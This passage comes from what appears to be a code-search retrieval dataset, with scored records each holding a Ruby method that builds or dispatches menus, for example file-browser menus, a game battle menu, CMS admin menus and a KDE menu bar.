"docid": "7639a06a05bd657b07045552f06f7aaa", "score": "0.6968213", "text": "def view_menu\n h = {\n f: :select_from_visited_files,\n d: :select_from_used_dirs,\n b: :view_bookmarks,\n s: :list_selected_files,\n c: :child_dirs,\n r: :recent_files,\n t: :tree,\n e: :dirtree\n }\n menu 'View Menu', h\nend", "title": "" }, { "docid": "d619abd924ce6ef8da6a7f63ce830689", "score": "0.6948327", "text": "def main_menu\n h = { \n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :s => :sort_menu, \n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n :x => :extras\n }\n menu \"Main Menu\", h\nend", "title": "" }, { "docid": "769afb038e3fc3f62a3302d54a8f4ad5", "score": "0.6940032", "text": "def main_menu\n h = { \n \"1\" => :view_article,\n \"2\" => :view_comments,\n :f => :display_forum,\n :v => :view_menu,\n :r => :reload,\n :m => :fetch_more,\n :R => :reddit_options,\n :H => :hacker_options,\n :s => :sort_menu, \n :C => :config_menu,\n :a => :view_article,\n :c => :view_comments,\n :x => :extras\n }\n=begin\n :a => :ack,\n \"/\" => :ffind,\n :l => :locate,\n :v => :viminfo,\n :z => :z_interface,\n :d => :child_dirs,\n :r => :recent_files,\n :t => :dirtree,\n \"4\" => :tree,\n :F => :filter_menu,\n :c => :command_menu ,\n :B => :bindkey_ext_command,\n :M => :newdir,\n \"%\" => :newfile,\n=end\n\n menu \"Main Menu\", h\nend", "title": "" }, { "docid": "fe61ed11f9a72e6c5a87080d6d7a7a50", "score": "0.6917801", "text": "def menuAOption\n\t\tmenu = @menuStack.pop\n\t\t@menuStack.push(menu)\n\t\toption = menu.getOption\n\t\tcase option\n\t\twhen \"Magic\"\n\t\t\t@hero.nextCommand.push(option)\n\t\t\t@selectMagicBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextMagicSublist, @screen)\n\t\t\t@menuStack.push(@selectMagicBox)\n\t\twhen \"Attack\"\n\t\t\t@hero.nextCommand.push(option) \n\t\t\tif @enemyUnits.length > 1\n\t\t\t\t@selectEnemyBox = OptionBox.new(242, 5, 15, 7, 18, 15, 128, 26, createEnemyList, @screen)\n\t\t\t\t@menuStack.push(@selectEnemyBox)\n\t\t\telse\n\t\t\t\tsetCombat\n\t\t\t\t@hero.nextCommand.push([@enemyUnits[0]])\n\t\t\tend\n\t\twhen \"Run\"\n\t\t\t@hero.nextCommand.push(option)\n\t\t\tsetCombat\n\t\twhen \"Item\"\n\t\t\t@hero.nextCommand.push(option)\n\t\t\t@subMenuIndex = 0\n\t\t\t@selectItemBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextItemSublist, @screen)\n\t\t\t@menuStack.push(@selectItemBox)\n\t\telse\n\t\t\tif (option != \"\")\n\t\t\t\tif (option.class < Unit)\n\t\t\t\t\t@hero.nextCommand.push([option])\n\t\t\t\t\tsetCombat\n\t\t\t\telse\n\t\t\t\t\ttargetType = option.getTargetType\n\t\t\t\t\tcase targetType\n\t\t\t\t\twhen \"self\"\n\t\t\t\t\t\t@hero.nextCommand.push(option)\n\t\t\t\t\t\t@hero.nextCommand.push([@hero])\n\t\t\t\t\t\tsetCombat\n\t\t\t\t\twhen \"all\"\n\t\t\t\t\t\t@hero.nextCommand.push(option)\n\t\t\t\t\t\ttargets = []\n\t\t\t\t\t\t@enemyUnits.each { |unit| targets.push(unit) }\n\t\t\t\t\t\t@hero.nextCommand.push(targets)\n\t\t\t\t\t\tsetCombat\n\t\t\t\t\twhen \"enemy\"\n\t\t\t\t\t\t@hero.nextCommand.push(option)\n\t\t\t\t\t\tif @enemyUnits.length > 1\n\t\t\t\t\t\t\t@selectEnemyBox = OptionBox.new(242, 5, 15, 7, 18, 15, 128, 26, createEnemyList, @screen)\n\t\t\t\t\t\t\t@menuStack.push(@selectEnemyBox)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tsetCombat\n\t\t\t\t\t\t\t@hero.nextCommand.push([@enemyUnits[0]])\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "0aa8e560b5141402e1cfc63d5c425d6e", "score": "0.68937904", "text": "def toggle_menu menu_text=nil\n unless menu_text\n h = { \n # :h => :toggle_hidden, \n :c => :toggle_case, :l => :toggle_long_list , \"1\" => :toggle_columns, \n :g => :use_gui_browser, :t => :use_text_browser}\n ch, menu_text = menu \"Toggle Menu\", h\n end\n case menu_text\n when :toggle_hidden\n $hidden = $hidden ? nil : \"D\"\n refresh\n when :toggle_case\n #$ignorecase = $ignorecase ? \"\" : \"i\"\n $ignorecase = !$ignorecase\n refresh\n when :toggle_columns\n $gviscols = 3 if $gviscols == 1\n $long_listing = false if $gviscols > 1 \n x = $grows * $gviscols\n $pagesize = $pagesize==x ? $grows : x\n when :use_gui_browser\n $open_command = $browser_gui || \"open\"\n when :use_text_browser \n $open_command = $browser_text || \"elinks\"\n\n when :toggle_long_list\n $long_listing = !$long_listing\n if $long_listing\n $gviscols = 1\n $pagesize = $grows\n else\n x = $grows * $gviscols\n $pagesize = $pagesize==x ? $grows : x\n end\n refresh\n end\nend", "title": "" }, { "docid": "a8a087277130cc9de85873c784a082ea", "score": "0.6841499", "text": "def options(choice)\n\t\tif choice == 1\n\t\t\trename_submenu\n\t\telsif choice == 2\n\t\t\tadd_task_submenu\n\t\telsif choice == 3\n\t\t\tcomplete_submenu\n\t\telsif choice == 4\n\t\t\tuncomplete_submenu\n\t\telsif choice == 5\n\t\t\tprioritize_submenu\n\t\telsif choice == 6\n\t\t\tnormalize_submenu\n\t\telsif choice == 7\n\t\t\tdue_date_submenu\n\t\telsif choice == 8\n\t\t\tremove_date_submenu\n\t\telsif choice == 9\n\t\t\tdelete_task_submenu\n\t\telse\n\t\t\tputs \"Enjoy your day\"\n\t\tend\n\tend", "title": "" }, { "docid": "6b66eb5fac8011a23764ce8eff6c7d07", "score": "0.6800034", "text": "def on_create_options_menu(menu)\n\t\t\tm1 = menu.add('Dashboard')\n\t\t m1.set_icon Ruboto::R::drawable::info\n\t\t m1.set_show_as_action 2\n\t\t m1.set_on_menu_item_click_listener do |menu_item|\n\t\t\t toast menu_item.title\n\t\t\t true # Prevent other listeners from executing.\n\t\t end\n\n\t\t m2 = menu.add('Properties')\n\t\t m2.set_icon Ruboto::R::drawable::prop\n\t\t m2.set_show_as_action 2\n\t\t m2.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\n\t\t m3 = menu.add('Settings')\n\t\t m3.set_icon Ruboto::R::drawable::settings\n\t\t m3.set_show_as_action 2\n\t\t m3.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\n\t\t m4 = menu.add('More')\n\t\t m4.set_icon Ruboto::R::drawable::more\n\t\t m4.set_show_as_action 2\n\t\t m4.set_on_menu_item_click_listener do |menu_item|\n\t\t\t\ttoast menu_item.title\n\t\t\t\ttrue # Prevent other listeners from executing.\n\t\t end\n\t\t true # Display the menu.\n\tend", "title": "" }, { "docid": "fda1b3ee490ad78d3076d1d08375a312", "score": "0.67475736", "text": "def getMenu(menu)\n end", "title": "" }, { "docid": "9e9add48da4bade38852c8859ca8eb8b", "score": "0.67414993", "text": "def menu_selection \nend", "title": "" }, { "docid": "f9b5c59a861b2604f430a75e897df5c6", "score": "0.6704927", "text": "def menu(options = {})\n config.menu_item_options = options\n end", "title": "" }, { "docid": "d27ee75b218c55ae7c54c3372571c9f0", "score": "0.6687628", "text": "def menu(context={})\n \n app = context[:app]\n \n menu_items = [{:path => '/cms',\n :options => {:title => app.t.cms_admin_menu.cms_menu,\n :description => 'Content management', \n :module => 'cms',\n :weight => 10}},\n {:path => '/cms/newcontent',\n :options => {:title => app.t.cms_admin_menu.content_new,\n :link_route => \"/admin/cms/content/new\",\n :description => 'Creates a new content.',\n :module => 'cms',\n :weight => 6}}, \n {:path => '/cms/contenttypes',\n :options => {:title => app.t.cms_admin_menu.contenttype_management,\n :link_route => \"/admin/cms/content-types\",\n :description => 'Manages the content types: creation and update of content types.',\n :module => 'cms',\n :weight => 5}}, \n {:path => '/cms/contents',\n :options => {:title => app.t.cms_admin_menu.content_management,\n :link_route => \"/admin/cms/contents\",\n :description => 'Contents explorer.',\n :module => 'cms',\n :weight => 4}},\n {:path => '/cms/comments',\n :options => {:title => app.t.cms_admin_menu.comment_management,\n :link_route => \"/admin/cms/comments\",\n :description => 'Comments manager.',\n :module => 'cms',\n :weight => 3}}, \n {:path => '/cms/taxonomies', \n :options => {:title => app.t.cms_admin_menu.taxonomy_management,\n :link_route => \"/admin/cms/taxonomy\",\n :description => 'Manages the taxonomies: creation and update of taxonomies.',\n :module => 'cms',\n :weight => 2}},\n {:path => '/cms/templates', \n :options => {:title => app.t.cms_admin_menu.template_management,\n :link_route => \"/admin/cms/templates\",\n :description => 'Manages template: creation and update of template.',\n :module => 'cms',\n :weight => 1}}, \n {:path => '/cms/redirects',\n :options => {:title => app.t.cms_admin_menu.redirects_management,\n :link_route => \"/admin/cms/redirects\",\n :description => 'Redirects a content',\n :module => 'cms',\n :weight => 12}}, \n {:path => '/sbm',\n :options => {:title => app.t.cms_admin_menu.build_site_menu,\n :description => 'Site building',\n :module => 'cms',\n :weight => 9 }},\n {:path => '/sbm/blocks', \n :options => {:title => app.t.cms_admin_menu.block_management,\n :link_route => \"/admin/cms/blocks\",\n :description => 'Manage the blocks. It allows to discover and configure modules blocks.',\n :module => 'cms',\n :weight => 6}},\n {:path => '/sbm/views',\n :options => {:title => app.t.cms_admin_menu.view_management,\n :link_route => \"/admin/cms/views\",\n :description => 'Manage the views: creation and update of views.',\n :module => 'cms',\n :weight => 5}},\n {:path => '/sbm/menus', \n :options => {:title => app.t.site_admin_menu.menu_management,\n :link_route => \"/admin/cms/menu-management\",\n :description => 'Manage the menus. It allows to define custom menus.',\n :module => :cms,\n :weight => 7}}\n ] \n \n end", "title": "" }, { "docid": "d0c32e656ebd8e52d30a4352e03fd20f", "score": "0.6686981", "text": "def init_menu\n @menus.set_selected(\"teambox\")\n @menus.set_selected(\"licenses\")\n end", "title": "" }, { "docid": "141588f2ea361eb37bff24e6d04f33fd", "score": "0.6680785", "text": "def create_menus\n @file_menu = menu_bar.add_menu(tr(\"&File\"))\n @currency_menu = menu_bar.add_menu(tr(\"&Currency\"))\n @currency_menu.add_action(@import_file_action)\n @currency_menu.add_action(@import_url_action)\n @token_menu = menu_bar.add_menu(tr(\"&Token\"))\n @token_menu.add_action(@verify_action)\n @token_menu.add_action(@reissue_action)\n menu_bar.add_separator\n @help_menu = menu_bar.add_menu(tr(\"&Help\"))\n @help_menu.add_action(@about_action)\n end", "title": "" }, { "docid": "c71041fdc73c027f3595be69a818f91f", "score": "0.66755193", "text": "def menu_code\n menu = \"<span class=\\\"list-settings\\\" data-list-ref=\\\"#{uid}\\\">\"\n menu << \"<a class=\\\"settings-start\\\"><i></i>' + h('list.menu'.t) + '</a>\"\n menu << '<ul>'\n if table.paginate?\n # Per page\n list = [5, 10, 20, 50, 100, 200]\n list << table.options[:per_page].to_i if table.options[:per_page].to_i > 0\n list = list.uniq.sort\n menu << '<li class=\"parent\">'\n menu << \"<a class=\\\"pages\\\"><i></i>' + h('list.items_per_page'.t) + '</a><ul>\"\n list.each do |n|\n menu << \"<li data-list-change-page-size=\\\"#{n}\\\" '+(#{var_name(:params)}[:per_page] == #{n} ? ' class=\\\"check\\\"' : '') + '><a><i></i>' + h('list.x_per_page'.t(count: #{n})) + '</a></li>\"\n end\n menu << '</ul></li>'\n end\n\n # Column selector\n menu << '<li class=\"parent\">'\n menu << \"<a class=\\\"columns\\\"><i></i>' + h('list.columns'.t) + '</a><ul>\"\n for column in table.data_columns\n menu << \"<li data-list-toggle-column=\\\"#{column.name}\\\" class=\\\"' + (#{var_name(:params)}[:hidden_columns].include?(:#{column.name}) ? 'unchecked' : 'checked') + '\\\"><a><i></i>' + h(#{column.header_code}) + '</a></li>\"\n end\n menu << '</ul></li>'\n\n # Separator\n menu << '<li class=\"separator\"></li>'\n # Exports\n ActiveList.exporters.each do |format, _exporter|\n menu << \"<li class=\\\"export export-#{format}\\\">' + link_to(content_tag(:i) + h('list.export_as'.t(exported: :#{format}.t(scope: 'list.export.formats'))), __params.merge(action: :#{generator.controller_method_name}, sort: #{var_name(:params)}[:sort], dir: #{var_name(:params)}[:dir], format: '#{format}')) + '</li>\"\n end\n menu << '</ul></span>'\n menu\n end", "title": "" }, { "docid": "6238d3147a27802a86129cb6d4cea176", "score": "0.6666994", "text": "def sub_menu(choise)\n case choise\n when '1'\n make_route\n when '2'\n make_station\n when '3'\n make_train\n when '4'\n list_routes\n when '5'\n list_stations\n when '6'\n list_trains\n when '7'\n list_station_trains\n when '8'\n attach_station\n when '9'\n dettach_station\n when '10'\n attach_train\n when '11'\n attach_wagon\n when '12'\n dettach_wagon\n when '13'\n list_train_wagons\n when '14'\n occupy_train_wagon\n when '15'\n move_train\n else\n puts \"Введено некорректное значение меню\\n\\n\"\n end\n end", "title": "" }, { "docid": "dd05364cab0f4231d33eec418b8a04b7", "score": "0.66527045", "text": "def build_menu(application_name, method_names)\n #take array of method names and turn into menu\n puts \"#{application_name.humanize}\"\n method_names.each_with_index {|method_name, index| puts \"#{index + 1}: #{method_name.to_s.humanize}\"}\n puts \"\\nPlease enter your selection:\"\nend", "title": "" }, { "docid": "8f6acaa58d44b67d9da2775a91c16a21", "score": "0.6612135", "text": "def main_menu\n @ui.input_1_change\n @ui.user_input1.downcase\n unless %w[trains routes stations cars].include? @ui.user_input1\n puts 'There is no such option in the main menu.'\n end\n main_menu_choose_option(@ui.user_input1)\n end", "title": "" }, { "docid": "2bdb6cedb1da346386b2a822da748e5d", "score": "0.6606394", "text": "def menu(context={})\n \n app = context[:app]\n\n menu_items = [{:path => '/system',\n :options => {\n \t:title => app.t.system_admin_menu.system_menu,\n :description => 'System menu',\n :module => :system,\n :weight => 0\n }\n },\n {:path => '/system/logger', \n :options => {:title => app.t.system_admin_menu.logger,\n :link_route => \"/admin/logger\",\n :description => 'Reads the logs',\n :module => :system,\n :weight => 1}\n },\n {:path => '/system/business-events', \n :options => {:title => app.t.system_admin_menu.business_event,\n :link_route => \"/admin/business-events\",\n :description => 'Manages business events',\n :module => :system,\n :weight => 0}\n }\n ] \n \n end", "title": "" }, { "docid": "4a3c042e75689ce5d7371c5e44fa57ad", "score": "0.6594449", "text": "def define_menu_items\n check_attributes\n @menu_description.concat(\"\\n #{set_boundaries}\")\n add_menu_item(\"All tasks to a person in the given #{time_string}.\", 1)\n add_menu_item(\"Worktime of a person in that #{time_string}.\", 2)\n add_menu_item(\"All tasks running during the interval.\", 3)\n add_menu_item(\"Write Query result to csv-file.\", 4)\n add_menu_item(\"Cancel and return to previous menu.\", 5)\n end", "title": "" }, { "docid": "b071a0ab3136ed107029276d080d6d44", "score": "0.6567496", "text": "def menu_items\n\n menu.items(self)\n\n end", "title": "" }, { "docid": "ed818e66b93122d482cb4a364e5755cc", "score": "0.6541032", "text": "def create_menu\n h = { f: :create_a_file,\n d: :create_a_dir,\n s: :create_dir_with_selection,\n b: :create_bookmark }\n _, menu_text = menu 'Create Menu', h\nend", "title": "" }, { "docid": "46ead55d057965a969241ff15b5ab78f", "score": "0.65317327", "text": "def main_menu(user_instance)\n user_greeting(user_instance)\n case help\n when \"1\", \"playlist\", \"playlists\"\n system(\"clear\")\n playlists_menu(user_instance)\n when \"2\", \"songs\", \"song\"\n system(\"clear\")\n songs_menu(user_instance)\n # when \"3\", \"artists\", \"artist\"\n # system(\"clear\")\n # artists_menu(user_instance)\n when \"exit\"\n system(\"clear\")\n goodbye\n exit\n else\n system(\"clear\")\n puts \"Please enter a valid command.\".colorize(:red).bold\n main_menu(user_instance)\n end\nend", "title": "" }, { "docid": "6a56c43e49fdcfd025a7457548acdd05", "score": "0.6519585", "text": "def main_menu\n ctrlr = request.parameters['controller'].split('/').last\n dashboard_class = (ctrlr == 'dashboard' ? 'current' : '')\n assets_class = (ctrlr == 'assets' ? 'current' : '')\n design_class = ((ctrlr == 'themes' || ctrlr == 'resources') ? 'current' : '')\n contacts_class = (ctrlr == 'contacts' ? 'current' : '')\n settings_class = (ctrlr == 'settings' ? 'current' : '')\n content_class = ((ctrlr == 'home' || ctrlr == 'links' || ctrlr == 'news_items' || ctrlr == 'portfolios' || ctrlr == 'assigned_assets' || ctrlr == 'resume_sections' || ctrlr == 'resume_items' || ctrlr == 'galleries') ? 'current' : '')\n admin_class = ((ctrlr == 'users' || ctrlr == 'sites' || ctrlr == 'memberships') ? 'current' : '')\n \n result = content_tag('li', link_to('Dashboard', admin_dashboard_path, :class => dashboard_class))\n result << content_tag('li', link_to('Content', edit_admin_home_path, :class => content_class))\n result << content_tag('li', link_to(assets_name, admin_assets_path, :class => assets_class))\n result << content_tag('li', link_to('Design', admin_themes_path, :class => design_class))\n result << content_tag('li', link_to('Contacts', admin_contacts_path, :class => contacts_class))\n result << content_tag('li', link_to('Settings', edit_admin_settings_path, :class => settings_class))\n if admin?\n result << content_tag('li', link_to('Admin', admin_users_path, :class => admin_class))\n end\n result\n end", "title": "" }, { "docid": "b2f21e0e9ae4513009242aeab358e111", "score": "0.65181756", "text": "def menu_options\n @menu_options ||= {}\n end", "title": "" }, { "docid": "42d51d8da33f19086c32e7c3fdc37638", "score": "0.6505151", "text": "def menu_router\n selection = display_menu\n case selection\n when 'My List'\n my_list\n when 'Recommendations'\n recommendations_menu\n else\n case_menu(selection)\n end\n end", "title": "" }, { "docid": "59274254f031279ee14cea4838e571a2", "score": "0.6499981", "text": "def create_menu\n items = Hash.new\n # action shd be a hash\n # menu should have array of hashes (or just a string)\n #db = { :name => \"Databases\", :accelerator => \"M-d\", :enabled = true, :on_right => :get_databases }\n #or = { :name => \"Open Recent\", :accelerator => \"M-o\", :enabled = true, :on_right => :get_recent }\n #find_array = {\"Find ...\" => :find, \"Find Next\" => :find_next, \"Find Previous\" => :find_prev}\n items[\"File >\"] = [\"Open ... C-o\" , \"Open Recent\", \"Databases\" , \"Tables\", \"Exit\"]\n items[\"Window >\"] = { \"Tile\" => nil, \"Find >\" => {\"Find ...\" => :find, \"Find Next\" => :find_next, \"Find Previous\" => :find_prev},\n \"Edit\" => nil, \"Whatever\" => nil}\n items[\"Others >\"] = { \"Shell Output ...\" => :shell_output, \"Suspend ...\" => :suspend , \"View File\" => :choose_file_and_view}\n\n # in the case of generated names how will call back know that it is a db name or a table name\n # We get back an array containing the entire path of selections\n right_actions = {}\n right_actions[\"Databases\"] = Proc.new { Dir.glob(\"**/*.{sqlite,db}\") }\n right_actions[\"Tables\"] = :get_table_names\n\n ret = popupmenu items, :row => 1, :col => 0, :bgcolor => :cyan, :color => :white, :right_actions => right_actions\n # ret can be nil, or have a symbol to execute, or a String for an item with no leaf/symbol\n if ret\n alert \"Got #{ret}\"\n last = ret.last\n if last.is_a? Symbol\n if respond_to?(last, true)\n send(last)\n end\n end\n end\n\n return\n r = 1\n ix = popuplist( top , :title => \" Menu \" , :row => r, :col => 0, :bgcolor => :cyan, :color => :white)\n if ix\n value = top[ix]\n ix = popuplist( items[value] , :row => r + 2 + ix, :col => 10, :bgcolor => :cyan, :color => :white)\n end\nend", "title": "" }, { "docid": "aea61802898919b7c75fbd953d99c0ef", "score": "0.6487081", "text": "def build_menu\n comment = table_info['comment']\n # #puts \"build Rails menu for #{model_name} (#{comment}) in\n # app/views/shared\"\n @@menus << { :model_name => model_name, :comment => comment, :route => \"/\"+ plural_table_name}\n \n end", "title": "" }, { "docid": "379b67d2550304e2327db01b956f85b2", "score": "0.6486733", "text": "def define_menu_items\n add_menu_item(\"File storage.\", 1)\n add_menu_item(\"Sqlite3.\", 2)\n end", "title": "" }, { "docid": "287b21a91d854748a18fd130c774d6a9", "score": "0.64488167", "text": "def call_menu_option(menu_option)\n if menu_option.class == CliBuilder::Menu\n menu_option.build_menu\n # elsif self.class == CliBuilder::Crud\n # Crud.send(menu_option.to_sym)\n # build_menu\n # elsif menu_option === :crud_menu\n # Crud.build_model_menu\n else\n puts \"self send is going to is #{self}\"\n send(menu_option.to_s)\n build_menu\n end\n end", "title": "" }, { "docid": "ed944843d0196a9c31de7908403cae72", "score": "0.6441327", "text": "def createMenu\n\n # File menu\n recordAction = @actions.addNew(i18n('Start Download'), self, \\\n { :icon => 'arrow-down', :triggered => :startDownload })\n reloadStyleAction = @actions.addNew(i18n('&Reload StyleSheet'), self, \\\n { :icon => 'view-refresh', :shortCut => 'Ctrl+R', :triggered => :reloadStyleSheet })\n clearStyleAction = @actions.addNew(i18n('&Clear StyleSheet'), self, \\\n { :icon => 'list-remove', :shortCut => 'Ctrl+L', :triggered => :clearStyleSheet })\n quitAction = @actions.addNew(i18n('&Quit'), self, \\\n { :icon => 'application-exit', :shortCut => 'Ctrl+Q', :triggered => :close })\n\n updateScheduleAction = @actions.addNew(i18n('Update Schedule'), @scheduleWin, \\\n { :shortCut => 'Ctrl+U', :triggered => :updateAllFilters })\n\n fileMenu = KDE::Menu.new('&File', self)\n fileMenu.addAction(recordAction)\n fileMenu.addAction(reloadStyleAction)\n fileMenu.addAction(clearStyleAction)\n fileMenu.addAction(updateScheduleAction)\n fileMenu.addAction(quitAction)\n\n\n # settings menu\n playerDockAction = @playerDock.toggleViewAction\n playerDockAction.text = i18n('Show Player')\n configureAppAction = @actions.addNew(i18n('Configure %s') % APP_NAME, self, \\\n { :icon => 'configure', :shortCut => 'F2', :triggered => :configureApp })\n\n settingsMenu = KDE::Menu.new(i18n('&Settings'), self)\n settingsMenu.addAction(playerDockAction)\n settingsMenu.addSeparator\n settingsMenu.addAction(configureAppAction)\n\n\n # Help menu\n aboutDlg = KDE::AboutApplicationDialog.new(KDE::CmdLineArgs.aboutData)\n openAboutAction = @actions.addNew(i18n('About %s') % APP_NAME, self, \\\n { :icon => 'irecorder', :triggered =>[aboutDlg, :exec] })\n openDocUrlAction = @actions.addNew(i18n('Open Document Wiki'), self, \\\n { :icon => 'help-contents', :triggered =>:openDocUrl})\n openReportIssueUrlAction = @actions.addNew(i18n('Report Bug'), self, \\\n { :icon => 'tools-report-bug', :triggered =>:openReportIssueUrl })\n openRdocAction = @actions.addNew(i18n('Open Rdoc'), self, \\\n { :icon => 'help-contents', :triggered =>:openRdoc })\n openSourceAction = @actions.addNew(i18n('Open Source Folder'), self, \\\n { :icon => 'document-open-folder', :triggered =>:openSource })\n\n\n helpMenu = KDE::Menu.new(i18n('&Help'), self)\n helpMenu.addAction(openDocUrlAction)\n helpMenu.addAction(openReportIssueUrlAction)\n helpMenu.addAction(openRdocAction)\n helpMenu.addAction(openSourceAction)\n helpMenu.addSeparator\n helpMenu.addAction(openAboutAction)\n\n # insert menus in MenuBar\n menu = KDE::MenuBar.new\n menu.addMenu( fileMenu )\n menu.addMenu( settingsMenu )\n menu.addSeparator\n menu.addMenu( helpMenu )\n setMenuBar(menu)\n end", "title": "" }, { "docid": "1b7f277fc4cbfe6c219bb28358b7068c", "score": "0.643855", "text": "def menu_items\n elements = []\n\n if display_parent_work && display_parent_work.rights.present?\n elements << \"<h3 class='dropdown-header'>Rights</h3>\".html_safe\n elements << rights_statement_item\n elements << \"<div class='dropdown-divider'></div>\".html_safe\n end\n\n if has_work_download_options?\n elements << \"<h3 class='dropdown-header'>Download all #{display_parent_work.member_count} images</h3>\".html_safe\n whole_work_download_options.each do |download_option|\n elements << format_download_option(download_option)\n end\n elements << \"<div class='dropdown-divider'></div>\".html_safe\n end\n\n if viewer_template_mode?\n elements << \"<h3 class='dropdown-header'>Download selected image</h3>\".html_safe\n elements << '<div data-slot=\"selected-downloads\"></div>'.html_safe\n elsif asset_download_options\n elements << \"<h3 class='dropdown-header'>Download selected #{thing_name}</h3>\".html_safe\n asset_download_options.each do |download_option|\n elements << format_download_option(download_option)\n end\n end\n\n safe_join(elements)\n end", "title": "" }, { "docid": "99b8653363969354627838158c6d20f0", "score": "0.6409839", "text": "def init_menu\n @menus.set_selected(\"about\")\n end", "title": "" }, { "docid": "7b39c085b3a1a2a56ed8f4809fe186ab", "score": "0.64081264", "text": "def define_menu_items\n add_menu_item(\"Http request\", 1)\n add_menu_item(\"Http status\", 2)\n add_menu_item(\"Sourceadress\", 3)\n add_menu_item(\"Timestamp\", 4)\n end", "title": "" }, { "docid": "328a1a6159d42ed31175069095d205c1", "score": "0.6402094", "text": "def cycleMenu(menu)\n\t\tif menu == @selectItemBox\n\t\t\t@selectItemBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextItemSublist, @screen)\n\t\t\tmenu = @selectItemBox\n\t\telsif menu == @selectMagicBox\n\t\t\t@selectMagicBox = OptionBox.new(15, 5, 34, 7, 18, 15, 128, 26, createNextMagicSublist, @screen)\n\t\t\tmenu = @selectMagicBox\n\t\tend\n\t\treturn menu\n\tend", "title": "" }, { "docid": "540ec86779fd28632f11ffd539158282", "score": "0.63903916", "text": "def admin_menu \n @admin_menu ||= [\n ['overview', :dashboard, {controller: 'gricer/dashboard', action: 'overview'}],\n ['visitors', :menu, [\n ['entry_pages', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'entry_path'}],\n ['referers', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'referer_host'}],\n ['search_engines', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'search_engine'}],\n ['search_terms', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'search_query'}],\n ['countries', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'country'}],\n ['domains', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'domain'}],\n ['locales', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'requested_locale_major'}]\n ] ],\n ['pages', :menu, [\n ['views', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'path'}],\n ['hosts', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'host'}],\n ['methods', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'method'}],\n ['protocols', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'protocol'}],\n ] ],\n ['browsers', :menu, [\n ['browsers', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'agent.name'}],\n ['operating_systems', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'agent.os'}],\n ['engines', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'agent.engine_name'}],\n ['javascript', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'javascript'}],\n ['java', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'java'}],\n ['silverlight', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'silverlight_major_version'}],\n ['flash', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'flash_major_version'}],\n ['screen_sizes', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'screen_size'}],\n ['color_depths', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'screen_depth'}]\n ] ]\n ]\n end", "title": "" }, { "docid": "af84f62843b924838056dfa514bdc3c0", "score": "0.63876414", "text": "def default\n html = '<div class=\"menu0-div\"><ul>'\n @selected = find_selected\n level_0 = DcBigMenu.where(dc_site_id: @site._id, parent: nil, active: true).sort(order: 1).to_a\n level_0.each do |item|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item)\n next unless can_view\n klas = item.id == @selected.id ? \"menu0-selected\" : \"menu0-item\"\n html << \"<li class='#{klas}'>#{ link_4menu(item) }</li>\\n\"\n end\n html << \"</ul></div>\"\n# submenu\n level_1 = DcBigMenu.where(dc_site_id: @site._id, parent: @selected.id, active: true).sort(order: 1).to_a\n html << \"<div class='menu1-div'><ul>\\n\"\n level_1.each do |item1|\n# menu can be hidden from user \n can_view, msg = dc_user_can_view(@parent, item1)\n next unless can_view\n html << \" <li class='menu1-item'>#{link_4menu(item1)}</li>\\n\"\n end\n html << '</ul></div>'\nend", "title": "" }, { "docid": "6aa1d032a41acee4c24d0f643f3e0bb2", "score": "0.6376862", "text": "def menu_items\n menu.items(self)\n end", "title": "" }, { "docid": "6aa1d032a41acee4c24d0f643f3e0bb2", "score": "0.6376862", "text": "def menu_items\n menu.items(self)\n end", "title": "" }, { "docid": "9192c36d718c94de06d558abcbfe4074", "score": "0.63749045", "text": "def build(menu, options = {})\n\n @menu = menu\n\n super(default_options.merge(options))\n\n build_menu\n\n end", "title": "" }, { "docid": "d55ceebb54b04882bed77ddb64ef0988", "score": "0.6372211", "text": "def assigned_menu\n\n end", "title": "" }, { "docid": "c5634d200d475d21438f611c45083814", "score": "0.63654965", "text": "def main_menu\n menu_options = [\"Start exploring\", \"Check Inventory\", \"Check Your Score\", \"Go to Pokemon Center\", \"Quit\"]\n menu_prompt = Interactivity.mainMenu \n \n if user.pokemon == nil\n menu_options.shift()\n menu_options.unshift(\"Choose a Pokemon and start exploring\")\n elsif self.user_current_location\n menu_options.shift()\n menu_options.unshift(\"Keep Exploring\")\n end\n \n choice = prompt.select(menu_prompt, menu_options) \n if choice == \"Start exploring\" || choice == \"Choose a Pokemon and start exploring\" || choice == \"Keep Exploring\"\n self.trainer_chooses_pokemon if user.pokemon == nil \n self.trainer_chooses_town\n self.exploring_town\n elsif choice == \"Check Inventory\"\n puts \"MANAGE INVENTORY - CHANGE POKEMONS AROUND\"\n elsif choice == 